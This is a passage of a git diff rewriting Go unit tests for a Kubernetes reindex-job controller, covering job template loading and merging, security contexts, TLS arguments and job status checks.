"ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex"}, - // No ServiceAccountName set - } - - job := MergeJobTemplate(template, opts) - - // Template service account is preserved - assert.Equal(t, "template-sa", job.Spec.Template.Spec.ServiceAccountName) - }) - - t.Run("creates reindex container if not in template", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - Spec: corev1.PodSpec{ - Containers: []corev1.Container{ - {Name: "sidecar", Image: "sidecar:latest"}, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex"}, - } - - job := MergeJobTemplate(template, opts) - - // Should have both sidecar and reindex containers - require.Len(t, job.Spec.Template.Spec.Containers, 2) - - // Find reindex container - var reindexContainer *corev1.Container - for i := range job.Spec.Template.Spec.Containers { - if job.Spec.Template.Spec.Containers[i].Name == "reindex" { - reindexContainer = &job.Spec.Template.Spec.Containers[i] - break - } - } - require.NotNil(t, reindexContainer) - assert.Equal(t, "ghcr.io/datum-cloud/activity:test", reindexContainer.Image) - }) - - t.Run("merges labels from template", func(t *testing.T) { - template := &corev1.PodTemplateSpec{ - ObjectMeta: metav1.ObjectMeta{ - Labels: map[string]string{ - "custom-label": "custom-value", - "app": "should-be-overridden", - }, - }, - Spec: corev1.PodSpec{ - Containers: []corev1.Container{ - {Name: "reindex"}, - }, - }, - } - - opts := JobBuildOptions{ - ReindexJobName: "test-reindex", - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ControllerArgs: []string{"reindex-worker", "test-reindex"}, - } - - job := MergeJobTemplate(template, opts) - - // Custom label is preserved - assert.Equal(t, "custom-value", job.Labels["custom-label"]) - // Controller-managed labels take precedence - assert.Equal(t, "activity-reindex", job.Labels["app"]) - assert.Equal(t, "test-reindex", job.Labels["reindex.activity.miloapis.com/job"]) - }) -} +package controller + +import ( + "context" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/api/resource" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "k8s.io/utils/ptr" + "sigs.k8s.io/controller-runtime/pkg/client/fake" +) + +func TestLoadJobTemplate(t *testing.T) { + t.Parallel() + + scheme := runtime.NewScheme() + require.NoError(t, corev1.AddToScheme(scheme)) + + t.Run("loads valid template", func(t *testing.T) { + cm := &corev1.ConfigMap{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-template", + Namespace: "activity-system", + }, + Data: map[string]string{ + "template.yaml": ` +spec: + serviceAccountName: custom-sa + volumes: + - name: kubeconfig + secret: + secretName: kubeconfig-secret + containers: + - name: reindex + args: + - --kubeconfig=/etc/kubernetes/kubeconfig + volumeMounts: + - name: kubeconfig + mountPath: /etc/kubernetes + readOnly: true +`, + }, + } + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(cm). + Build() + + template, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "test-template") + require.NoError(t, err) + assert.Equal(t, "custom-sa", template.Spec.ServiceAccountName) + require.Len(t, template.Spec.Volumes, 1) + assert.Equal(t, "kubeconfig", template.Spec.Volumes[0].Name) + require.Len(t, template.Spec.Containers, 1) + assert.Equal(t, "reindex", template.Spec.Containers[0].Name) + }) + + t.Run("error when ConfigMap not found", func(t *testing.T) { + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + Build() + + _, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "nonexistent") + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to get job template ConfigMap") + }) + + t.Run("error when template.yaml key missing", func(t *testing.T) { + cm := &corev1.ConfigMap{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-template", + Namespace: "activity-system", + }, + Data: map[string]string{ + "other-key": "some data", + }, + } + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(cm). + Build() + + _, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "test-template") + require.Error(t, err) + assert.Contains(t, err.Error(), "does not contain key") + }) + + t.Run("error when template is invalid YAML", func(t *testing.T) { + cm := &corev1.ConfigMap{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-template", + Namespace: "activity-system", + }, + Data: map[string]string{ + "template.yaml": "not: valid: yaml: [", + }, + } + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(cm). + Build() + + _, err := LoadJobTemplate(context.Background(), fakeClient, "activity-system", "test-template") + require.Error(t, err) + assert.Contains(t, err.Error(), "failed to parse job template") + }) +} + +func TestDefaultJobTemplate(t *testing.T) { + t.Parallel() + + template := DefaultJobTemplate() + + // Verify restart policy + assert.Equal(t, corev1.RestartPolicyOnFailure, template.Spec.RestartPolicy) + + // Verify security context + require.NotNil(t, template.Spec.SecurityContext) + assert.Equal(t, ptr.To(true), template.Spec.SecurityContext.RunAsNonRoot) + assert.Equal(t, ptr.To(int64(65532)), template.Spec.SecurityContext.RunAsUser) + + // Verify container + require.Len(t, template.Spec.Containers, 1) + assert.Equal(t, ReindexContainerName, template.Spec.Containers[0].Name) +} + +func TestMergeJobTemplate(t *testing.T) { + t.Parallel() + + t.Run("basic merge with default template", func(t *testing.T) { + template := DefaultJobTemplate() + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex", "--nats-url=nats://localhost:4222"}, + } + + job := MergeJobTemplate(template, opts) + + // Verify Job metadata + assert.Equal(t, "test-reindex-job", job.Name) + assert.Equal(t, "activity-system", job.Namespace) + assert.Equal(t, "activity-reindex", job.Labels["app"]) + assert.Equal(t, "test-reindex", job.Labels["reindex.activity.miloapis.com/job"]) + + // Verify Job spec + assert.Equal(t, ptr.To(int32(3)), job.Spec.BackoffLimit) + assert.Equal(t, ptr.To(int32(300)), job.Spec.TTLSecondsAfterFinished) + + // Verify container + require.Len(t, job.Spec.Template.Spec.Containers, 1) + container := job.Spec.Template.Spec.Containers[0] + assert.Equal(t, "reindex", container.Name) + assert.Equal(t, "ghcr.io/datum-cloud/activity:test", container.Image) + assert.Equal(t, []string{"reindex-worker", "test-reindex", "--nats-url=nats://localhost:4222"}, container.Args) + }) + + t.Run("merge with template args prepended", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + { + Name: "reindex", + Args: []string{"--kubeconfig=/etc/kubernetes/kubeconfig"}, + }, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex", "--nats-url=nats://localhost:4222"}, + } + + job := MergeJobTemplate(template, opts) + + container := job.Spec.Template.Spec.Containers[0] + // Template args come first, controller args appended + expectedArgs := []string{ + "--kubeconfig=/etc/kubernetes/kubeconfig", + "reindex-worker", + "test-reindex", + "--nats-url=nats://localhost:4222", + } + assert.Equal(t, expectedArgs, container.Args) + }) + + t.Run("preserves template volumes and mounts", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + Volumes: []corev1.Volume{ + { + Name: "kubeconfig", + VolumeSource: corev1.VolumeSource{ + CSI: &corev1.CSIVolumeSource{ + Driver: "cert-manager.io/csi", + }, + }, + }, + }, + Containers: []corev1.Container{ + { + Name: "reindex", + VolumeMounts: []corev1.VolumeMount{ + { + Name: "kubeconfig", + MountPath: "/etc/kubernetes", + ReadOnly: true, + }, + }, + }, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex"}, + } + + job := MergeJobTemplate(template, opts) + + // Verify volumes are preserved + require.Len(t, job.Spec.Template.Spec.Volumes, 1) + assert.Equal(t, "kubeconfig", job.Spec.Template.Spec.Volumes[0].Name) + assert.NotNil(t, job.Spec.Template.Spec.Volumes[0].CSI) + + // Verify volume mounts are preserved + container := job.Spec.Template.Spec.Containers[0] + require.Len(t, container.VolumeMounts, 1) + assert.Equal(t, "kubeconfig", container.VolumeMounts[0].Name) + assert.Equal(t, "/etc/kubernetes", container.VolumeMounts[0].MountPath) + }) + + t.Run("merges resource requirements", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + { + Name: "reindex", + Resources: corev1.ResourceRequirements{ + Requests: corev1.ResourceList{ + corev1.ResourceCPU: resource.MustParse("100m"), + }, + }, + }, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex"}, + ResourceRequirements: corev1.ResourceRequirements{ + Limits: corev1.ResourceList{ + corev1.ResourceMemory: resource.MustParse("2Gi"), + }, + Requests: corev1.ResourceList{ + corev1.ResourceMemory: resource.MustParse("2Gi"), + }, + }, + } + + job := MergeJobTemplate(template, opts) + + container := job.Spec.Template.Spec.Containers[0] + // Controller resources are merged (take precedence) + assert.Equal(t, resource.MustParse("2Gi"), container.Resources.Limits[corev1.ResourceMemory]) + assert.Equal(t, resource.MustParse("2Gi"), container.Resources.Requests[corev1.ResourceMemory]) + // Template CPU request is also present + assert.Equal(t, resource.MustParse("100m"), container.Resources.Requests[corev1.ResourceCPU]) + }) + + t.Run("sets service account from options", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + ServiceAccountName: "template-sa", + Containers: []corev1.Container{ + {Name: "reindex"}, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex"}, + ServiceAccountName: "controller-sa", + } + + job := MergeJobTemplate(template, opts) + + // Controller service account takes precedence + assert.Equal(t, "controller-sa", job.Spec.Template.Spec.ServiceAccountName) + }) + + t.Run("uses template service account when not set in options", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + ServiceAccountName: "template-sa", + Containers: []corev1.Container{ + {Name: "reindex"}, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex"}, + // No ServiceAccountName set + } + + job := MergeJobTemplate(template, opts) + + // Template service account is preserved + assert.Equal(t, "template-sa", job.Spec.Template.Spec.ServiceAccountName) + }) + + t.Run("creates reindex container if not in template", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + {Name: "sidecar", Image: "sidecar:latest"}, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex"}, + } + + job := MergeJobTemplate(template, opts) + + // Should have both sidecar and reindex containers + require.Len(t, job.Spec.Template.Spec.Containers, 2) + + // Find reindex container + var reindexContainer *corev1.Container + for i := range job.Spec.Template.Spec.Containers { + if job.Spec.Template.Spec.Containers[i].Name == "reindex" { + reindexContainer = &job.Spec.Template.Spec.Containers[i] + break + } + } + require.NotNil(t, reindexContainer) + assert.Equal(t, "ghcr.io/datum-cloud/activity:test", reindexContainer.Image) + }) + + t.Run("merges labels from template", func(t *testing.T) { + template := &corev1.PodTemplateSpec{ + ObjectMeta: metav1.ObjectMeta{ + Labels: map[string]string{ + "custom-label": "custom-value", + "app": "should-be-overridden", + }, + }, + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + {Name: "reindex"}, + }, + }, + } + + opts := JobBuildOptions{ + ReindexJobName: "test-reindex", + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ControllerArgs: []string{"reindex-worker", "test-reindex"}, + } + + job := MergeJobTemplate(template, opts) + + // Custom label is preserved + assert.Equal(t, "custom-value", job.Labels["custom-label"]) + // Controller-managed labels take precedence + assert.Equal(t, "activity-reindex", job.Labels["app"]) + assert.Equal(t, "test-reindex", job.Labels["reindex.activity.miloapis.com/job"]) + }) +} diff --git a/internal/controller/reindexjob_controller_test.go b/internal/controller/reindexjob_controller_test.go index 826402bf..cd9032d7 100644 --- a/internal/controller/reindexjob_controller_test.go +++ b/internal/controller/reindexjob_controller_test.go @@ -1,351 +1,351 @@ -package controller - -import ( - "context" - "testing" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - batchv1 "k8s.io/api/batch/v1" - corev1 "k8s.io/api/core/v1" - "k8s.io/apimachinery/pkg/api/resource" - metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" - "k8s.io/apimachinery/pkg/runtime" - "k8s.io/client-go/tools/record" - "k8s.io/utils/ptr" - "sigs.k8s.io/controller-runtime/pkg/client/fake" - - "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" -) - -func TestBuildJobForReindexJob(t *testing.T) { - t.Parallel() - - scheme := runtime.NewScheme() - require.NoError(t, v1alpha1.AddToScheme(scheme)) - require.NoError(t, batchv1.AddToScheme(scheme)) - - reconciler := &ReindexJobReconciler{ - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ReindexServiceAccount: "activity-reindex-worker", - ReindexMemoryLimit: "2Gi", - ReindexCPULimit: "1000m", - NATSURL: "nats://nats.activity-system.svc:4222", - NATSTLSEnabled: false, - } - - reindexJob := &v1alpha1.ReindexJob{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex", - }, - Spec: v1alpha1.ReindexJobSpec{ - TimeRange: v1alpha1.ReindexTimeRange{ - StartTime: "now-7d", - EndTime: "now", - }, - }, - } - - job, err := reconciler.buildJobForReindexJob(reindexJob) - require.NoError(t, err) - - // Verify Job metadata - assert.Equal(t, "test-reindex-job", job.Name) - assert.Equal(t, "activity-system", job.Namespace) - assert.Equal(t, "activity-reindex", job.Labels["app"]) - assert.Equal(t, "test-reindex", job.Labels["reindex.activity.miloapis.com/job"]) - - // Verify Job spec - assert.Equal(t, ptr.To(int32(3)), job.Spec.BackoffLimit) - assert.Equal(t, ptr.To(int32(300)), job.Spec.TTLSecondsAfterFinished) - assert.Equal(t, corev1.RestartPolicyOnFailure, job.Spec.Template.Spec.RestartPolicy) - assert.Equal(t, "activity-reindex-worker", job.Spec.Template.Spec.ServiceAccountName) - - // Verify container - require.Len(t, job.Spec.Template.Spec.Containers, 1) - container := job.Spec.Template.Spec.Containers[0] - assert.Equal(t, "reindex", container.Name) - assert.Equal(t, "ghcr.io/datum-cloud/activity:test", container.Image) - - // Verify args - expectedArgs := []string{ - "reindex-worker", - "test-reindex", - "--nats-url=nats://nats.activity-system.svc:4222", - "--logging-format=json", - } - assert.Equal(t, expectedArgs, container.Args) - - // Verify resource limits - memLimit := resource.MustParse("2Gi") - cpuLimit := resource.MustParse("1000m") - assert.Equal(t, memLimit, container.Resources.Limits[corev1.ResourceMemory]) - assert.Equal(t, memLimit, container.Resources.Requests[corev1.ResourceMemory]) - assert.Equal(t, cpuLimit, container.Resources.Limits[corev1.ResourceCPU]) - - // Verify Pod SecurityContext - require.NotNil(t, job.Spec.Template.Spec.SecurityContext) - podSecurityContext := job.Spec.Template.Spec.SecurityContext - assert.Equal(t, ptr.To(true), podSecurityContext.RunAsNonRoot) - assert.Equal(t, ptr.To(int64(65532)), podSecurityContext.RunAsUser) - assert.Equal(t, ptr.To(int64(65532)), podSecurityContext.RunAsGroup) - assert.Equal(t, ptr.To(int64(65532)), podSecurityContext.FSGroup) - require.NotNil(t, podSecurityContext.SeccompProfile) - assert.Equal(t, corev1.SeccompProfileTypeRuntimeDefault, podSecurityContext.SeccompProfile.Type) - - // Verify Container SecurityContext - require.NotNil(t, container.SecurityContext) - containerSecurityContext := container.SecurityContext - assert.Equal(t, ptr.To(false), containerSecurityContext.AllowPrivilegeEscalation) - assert.Equal(t, ptr.To(true), containerSecurityContext.ReadOnlyRootFilesystem) - assert.Equal(t, ptr.To(true), containerSecurityContext.RunAsNonRoot) - require.NotNil(t, containerSecurityContext.Capabilities) - assert.Equal(t, []corev1.Capability{"ALL"}, containerSecurityContext.Capabilities.Drop) -} - -func TestBuildJobForReindexJob_WithTLS(t *testing.T) { - t.Parallel() - - scheme := runtime.NewScheme() - require.NoError(t, v1alpha1.AddToScheme(scheme)) - require.NoError(t, batchv1.AddToScheme(scheme)) - - reconciler := &ReindexJobReconciler{ - JobNamespace: "activity-system", - ActivityImage: "ghcr.io/datum-cloud/activity:test", - ReindexServiceAccount: "activity-reindex-worker", - ReindexMemoryLimit: "2Gi", - ReindexCPULimit: "1000m", - NATSURL: "nats://nats.activity-system.svc:4222", - NATSTLSEnabled: true, - NATSTLSCertFile: "/certs/tls.crt", - NATSTLSKeyFile: "/certs/tls.key", - NATSTLSCAFile: "/certs/ca.crt", - } - - reindexJob := &v1alpha1.ReindexJob{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex-tls", - }, - Spec: v1alpha1.ReindexJobSpec{ - TimeRange: v1alpha1.ReindexTimeRange{ - StartTime: "now-7d", - }, - }, - } - - job, err := reconciler.buildJobForReindexJob(reindexJob) - require.NoError(t, err) - - // Verify TLS args are included - container := job.Spec.Template.Spec.Containers[0] - expectedArgs := []string{ - "reindex-worker", - "test-reindex-tls", - "--nats-url=nats://nats.activity-system.svc:4222", - "--logging-format=json", - "--nats-tls-enabled=true", - "--nats-tls-cert-file=/certs/tls.crt", - "--nats-tls-key-file=/certs/tls.key", - "--nats-tls-ca-file=/certs/ca.crt", - } - assert.Equal(t, expectedArgs, container.Args) -} - -func TestCountRunningJobs(t *testing.T) { - t.Parallel() - - scheme := runtime.NewScheme() - require.NoError(t, v1alpha1.AddToScheme(scheme)) - require.NoError(t, batchv1.AddToScheme(scheme)) - - now := metav1.Now() - - // Create test jobs - runningJob1 := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "job-1", - Namespace: "activity-system", - Labels: map[string]string{ - "app": "activity-reindex", - }, - }, - Status: batchv1.JobStatus{ - // No completion time - still running - }, - } - - runningJob2 := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "job-2", - Namespace: "activity-system", - Labels: map[string]string{ - "app": "activity-reindex", - }, - }, - Status: batchv1.JobStatus{ - // No completion time - still running - }, - } - - completedJob := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "job-3", - Namespace: "activity-system", - Labels: map[string]string{ - "app": "activity-reindex", - }, - }, - Status: batchv1.JobStatus{ - CompletionTime: &now, - }, - } - - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - WithObjects(runningJob1, runningJob2, completedJob). - Build() - - reconciler := &ReindexJobReconciler{ - Client: fakeClient, - JobClient: fakeClient, - JobNamespace: "activity-system", - } - - count, err := reconciler.countRunningJobs(context.Background()) - require.NoError(t, err) - assert.Equal(t, 2, count, "should count only running jobs (without completion time)") -} - -func TestGetJobForReindexJob(t *testing.T) { - t.Parallel() - - scheme := runtime.NewScheme() - require.NoError(t, v1alpha1.AddToScheme(scheme)) - require.NoError(t, batchv1.AddToScheme(scheme)) - - job := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex-job", - Namespace: "activity-system", - }, - } - - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - WithObjects(job). - Build() - - reconciler := &ReindexJobReconciler{ - Client: fakeClient, - JobClient: fakeClient, - JobNamespace: "activity-system", - } - - reindexJob := &v1alpha1.ReindexJob{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex", - }, - } - - foundJob, err := reconciler.getJobForReindexJob(context.Background(), reindexJob) - require.NoError(t, err) - assert.Equal(t, "test-reindex-job", foundJob.Name) -} - -func TestCheckJobStatus(t *testing.T) { - t.Parallel() - - scheme := runtime.NewScheme() - require.NoError(t, v1alpha1.AddToScheme(scheme)) - require.NoError(t, batchv1.AddToScheme(scheme)) - - fakeClient := fake.NewClientBuilder(). - WithScheme(scheme). - Build() - - recorder := record.NewFakeRecorder(10) - - reconciler := &ReindexJobReconciler{ - Client: fakeClient, - JobClient: fakeClient, - Recorder: recorder, - } - - t.Run("job still running", func(t *testing.T) { - reindexJob := &v1alpha1.ReindexJob{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex", - }, - Status: v1alpha1.ReindexJobStatus{ - Phase: v1alpha1.ReindexJobRunning, - }, - } - - job := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex-job", - }, - Status: batchv1.JobStatus{ - // No completion time - still running - }, - } - - result, err := reconciler.checkJobStatus(context.Background(), reindexJob, job) - require.NoError(t, err) - assert.Greater(t, result.RequeueAfter.Seconds(), float64(0), "should requeue to check again later") - }) - - t.Run("job completed successfully", func(t *testing.T) { - reindexJob := &v1alpha1.ReindexJob{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex", - }, - Status: v1alpha1.ReindexJobStatus{ - Phase: v1alpha1.ReindexJobRunning, - }, - } - - now := metav1.Now() - job := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex-job", - }, - Status: batchv1.JobStatus{ - Succeeded: 1, - CompletionTime: &now, - }, - } - - result, err := reconciler.checkJobStatus(context.Background(), reindexJob, job) - require.NoError(t, err) - assert.Equal(t, int64(0), result.RequeueAfter.Nanoseconds(), "should not requeue for completed job") - }) - - t.Run("job failed", func(t *testing.T) { - reindexJob := &v1alpha1.ReindexJob{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex", - }, - Status: v1alpha1.ReindexJobStatus{ - Phase: v1alpha1.ReindexJobRunning, - }, - } - - now := metav1.Now() - job := &batchv1.Job{ - ObjectMeta: metav1.ObjectMeta{ - Name: "test-reindex-job", - }, - Status: batchv1.JobStatus{ - Failed: 1, - CompletionTime: &now, - }, - } - - result, err := reconciler.checkJobStatus(context.Background(), reindexJob, job) - require.NoError(t, err) - assert.Equal(t, int64(0), result.RequeueAfter.Nanoseconds(), "should not requeue for completed job") - }) -} +package controller + +import ( + "context" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + batchv1 "k8s.io/api/batch/v1" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/api/resource" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "k8s.io/client-go/tools/record" + "k8s.io/utils/ptr" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" +) + +func TestBuildJobForReindexJob(t *testing.T) { + t.Parallel() + + scheme := runtime.NewScheme() + require.NoError(t, v1alpha1.AddToScheme(scheme)) + require.NoError(t, batchv1.AddToScheme(scheme)) + + reconciler := &ReindexJobReconciler{ + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ReindexServiceAccount: "activity-reindex-worker", + ReindexMemoryLimit: "2Gi", + ReindexCPULimit: "1000m", + NATSURL: "nats://nats.activity-system.svc:4222", + NATSTLSEnabled: false, + } + + reindexJob := &v1alpha1.ReindexJob{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex", + }, + Spec: v1alpha1.ReindexJobSpec{ + TimeRange: v1alpha1.ReindexTimeRange{ + StartTime: "now-7d", + EndTime: "now", + }, + }, + } + + job, err := reconciler.buildJobForReindexJob(reindexJob) + require.NoError(t, err) + + // Verify Job metadata + assert.Equal(t, "test-reindex-job", job.Name) + assert.Equal(t, "activity-system", job.Namespace) + assert.Equal(t, "activity-reindex", job.Labels["app"]) + assert.Equal(t, "test-reindex", job.Labels["reindex.activity.miloapis.com/job"]) + + // Verify Job spec + assert.Equal(t, ptr.To(int32(3)), job.Spec.BackoffLimit) + assert.Equal(t, ptr.To(int32(300)), job.Spec.TTLSecondsAfterFinished) + assert.Equal(t, corev1.RestartPolicyOnFailure, job.Spec.Template.Spec.RestartPolicy) + assert.Equal(t, "activity-reindex-worker", job.Spec.Template.Spec.ServiceAccountName) + + // Verify container + require.Len(t, job.Spec.Template.Spec.Containers, 1) + container := job.Spec.Template.Spec.Containers[0] + assert.Equal(t, "reindex", container.Name) + assert.Equal(t, "ghcr.io/datum-cloud/activity:test", container.Image) + + // Verify args + expectedArgs := []string{ + "reindex-worker", + "test-reindex", + "--nats-url=nats://nats.activity-system.svc:4222", + "--logging-format=json", + } + assert.Equal(t, expectedArgs, container.Args) + + // Verify resource limits + memLimit := resource.MustParse("2Gi") + cpuLimit := resource.MustParse("1000m") + assert.Equal(t, memLimit, container.Resources.Limits[corev1.ResourceMemory]) + assert.Equal(t, memLimit, container.Resources.Requests[corev1.ResourceMemory]) + assert.Equal(t, cpuLimit, container.Resources.Limits[corev1.ResourceCPU]) + + // Verify Pod SecurityContext + require.NotNil(t, job.Spec.Template.Spec.SecurityContext) + podSecurityContext := job.Spec.Template.Spec.SecurityContext + assert.Equal(t, ptr.To(true), podSecurityContext.RunAsNonRoot) + assert.Equal(t, ptr.To(int64(65532)), podSecurityContext.RunAsUser) + assert.Equal(t, ptr.To(int64(65532)), podSecurityContext.RunAsGroup) + assert.Equal(t, ptr.To(int64(65532)), podSecurityContext.FSGroup) + require.NotNil(t, podSecurityContext.SeccompProfile) + assert.Equal(t, corev1.SeccompProfileTypeRuntimeDefault, podSecurityContext.SeccompProfile.Type) + + // Verify Container SecurityContext + require.NotNil(t, container.SecurityContext) + containerSecurityContext := container.SecurityContext + assert.Equal(t, ptr.To(false), containerSecurityContext.AllowPrivilegeEscalation) + assert.Equal(t, ptr.To(true), containerSecurityContext.ReadOnlyRootFilesystem) + assert.Equal(t, ptr.To(true), containerSecurityContext.RunAsNonRoot) + require.NotNil(t, containerSecurityContext.Capabilities) + assert.Equal(t, []corev1.Capability{"ALL"}, containerSecurityContext.Capabilities.Drop) +} + +func TestBuildJobForReindexJob_WithTLS(t *testing.T) { + t.Parallel() + + scheme := runtime.NewScheme() + require.NoError(t, v1alpha1.AddToScheme(scheme)) + require.NoError(t, batchv1.AddToScheme(scheme)) + + reconciler := &ReindexJobReconciler{ + JobNamespace: "activity-system", + ActivityImage: "ghcr.io/datum-cloud/activity:test", + ReindexServiceAccount: "activity-reindex-worker", + ReindexMemoryLimit: "2Gi", + ReindexCPULimit: "1000m", + NATSURL: "nats://nats.activity-system.svc:4222", + NATSTLSEnabled: true, + NATSTLSCertFile: "/certs/tls.crt", + NATSTLSKeyFile: "/certs/tls.key", + NATSTLSCAFile: "/certs/ca.crt", + } + + reindexJob := &v1alpha1.ReindexJob{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex-tls", + }, + Spec: v1alpha1.ReindexJobSpec{ + TimeRange: v1alpha1.ReindexTimeRange{ + StartTime: "now-7d", + }, + }, + } + + job, err := reconciler.buildJobForReindexJob(reindexJob) + require.NoError(t, err) + + // Verify TLS args are included + container := job.Spec.Template.Spec.Containers[0] + expectedArgs := []string{ + "reindex-worker", + "test-reindex-tls", + "--nats-url=nats://nats.activity-system.svc:4222", + "--logging-format=json", + "--nats-tls-enabled=true", + "--nats-tls-cert-file=/certs/tls.crt", + "--nats-tls-key-file=/certs/tls.key", + "--nats-tls-ca-file=/certs/ca.crt", + } + assert.Equal(t, expectedArgs, container.Args) +} + +func TestCountRunningJobs(t *testing.T) { + t.Parallel() + + scheme := runtime.NewScheme() + require.NoError(t, v1alpha1.AddToScheme(scheme)) + require.NoError(t, batchv1.AddToScheme(scheme)) + + now := metav1.Now() + + // Create test jobs + runningJob1 := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "job-1", + Namespace: "activity-system", + Labels: map[string]string{ + "app": "activity-reindex", + }, + }, + Status: batchv1.JobStatus{ + // No completion time - still running + }, + } + + runningJob2 := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "job-2", + Namespace: "activity-system", + Labels: map[string]string{ + "app": "activity-reindex", + }, + }, + Status: batchv1.JobStatus{ + // No completion time - still running + }, + } + + completedJob := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "job-3", + Namespace: "activity-system", + Labels: map[string]string{ + "app": "activity-reindex", + }, + }, + Status: batchv1.JobStatus{ + CompletionTime: &now, + }, + } + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(runningJob1, runningJob2, completedJob). + Build() + + reconciler := &ReindexJobReconciler{ + Client: fakeClient, + JobClient: fakeClient, + JobNamespace: "activity-system", + } + + count, err := reconciler.countRunningJobs(context.Background()) + require.NoError(t, err) + assert.Equal(t, 2, count, "should count only running jobs (without completion time)") +} + +func TestGetJobForReindexJob(t *testing.T) { + t.Parallel() + + scheme := runtime.NewScheme() + require.NoError(t, v1alpha1.AddToScheme(scheme)) + require.NoError(t, batchv1.AddToScheme(scheme)) + + job := &batchv1.Job{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-reindex-job", + Namespace: "activity-system", + }, + } + + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(job). + Build() + + reconciler := &ReindexJobReconciler{ + Client: fakeClient, + JobClient: fakeClient, + JobNamespace: "activity-system", + } + + reindexJob := &v1alpha1.ReindexJob{ + ObjectMeta: metav1.ObjectMeta{ + 